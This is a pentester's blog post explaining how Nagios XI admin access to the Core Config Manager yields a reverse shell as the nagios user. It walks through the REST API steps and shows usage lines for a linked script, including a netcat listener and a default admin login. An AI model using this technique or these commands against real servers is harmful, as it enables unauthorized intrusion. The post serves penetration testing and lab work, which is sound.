RCE as Nagios User Is Just a Feature in Nagios XI

I was doing a pentest and ran into Nagios XI using default login credentials of nagiosadmin:nagiosadmin. I remembered it having some sort of built in RCE method, but I couldn't place my finger on it. All my searches turned up CVEs and I was like hmmm, no that's not what I was thinking. Then I remembered it was from HTB and lo and behold I found 0xdf's writeup of the Hack The Box "Monitored" box 0xdf does it by hand in the web UI as one step in a larger chain. What I couldn't find anywhere was this just as a standlone script, so I made one.

The basics

Nagios is a monitoring system. The way it monitors things is by running plugins which are small programs on the Nagios server that check a host or service and report back. In the Core Config Manager you define a command (a command_line, which is literally a shell command the Nagios core executes) and attach it to a service check. When that check runs, your command runs.

If you can reach the Core Config Manager (CCM) as an admin, you can:

1. Create a command whose command_line is (or spawns) a reverse shell.
2. Create a service that uses that command as its check_command, attached to any existing host object (localhost works fine).
3. Apply the configuration so the running core picks up the new objects.
4. Force an immediate check of that service.

Step 4 fires the command, and you catch a shell. No flaws just built in stuff.

Who you get, and who you don't

The shell runs as the nagios user, not root. Plugins are executed by the Nagios core process, which runs unprivileged. So this primitive gets you code execution as nagios with a working directory of /tmp, and that's it.

Getting from nagios to root is a separate problem with its own history. sudo rules on Nagios owned scripts, writable service binaries, check_plugin tricks, and so on — and it varies by install. None of that is in scope here. This post is only about the first move: turning CCM admin into a shell.

Doing it over the API

You can do every step by hand in the web UI (Configure → Core Config Manager → Commands → Add New, then attach it to a host and hit Run Check Command), and 0xdf's writeup walks that path. I wanted something repeatable for lab work, so I wrote a small stdlib only Python tool that drives the Nagios XI REST API end to end:

• POST api/v1/config/command — create the command
• POST api/v1/config/service — create the service that uses it
• POST api/v1/system/applyconfig — write the config and reload the core
• POST api/v1/system/massimmediatecheck — force the check so the payload fires now instead of waiting for the next interval

It authenticates with either an API key or a username/password (it resolves the key from the account page for you), detaches the shell with setsid so Nagios reaping the check at service_check_timeout doesn't kill it, and then cleans up the command and service objects afterward so you're not leaving test artifacts in someone's monitoring config.

# start a listener
nc -lvnp 4444

# set up the command + service and fire it in one go
python3 nagios_ccm_rshell.py all --url http://TARGET/nagiosxi --apikey <KEY> --lhost <your-ip>

# ... use the shell ...

# tear it back down
python3 nagios_ccm_rshell.py cleanup --url http://TARGET/nagiosxi --apikey <KEY>

The code, the full flag reference, and gotchas (the --url has to include the /nagiosxi path; --monitored-host is an existing host object, not the server's address) are in the repo:

github.com/pizza-power/Nagios-XI-CCM-Reverse-Shell

As far as I can tell this is the only scripted, API driven version of the technique out there. The published Nagios XI shell tools all target specific CVEs or root RCE chains, and the feature abuse path only shows up in CTF writeups done by hand.

So is this a vulnerability?

No. Arbitrary command execution is the purpose of the component. Monitoring software exists to run commands on a schedule. The security boundary here is access to the CCM, not the command field behind it. If an attacker is an authenticated admin in your Core Config Manager, they already have code execution as nagios.

End of report.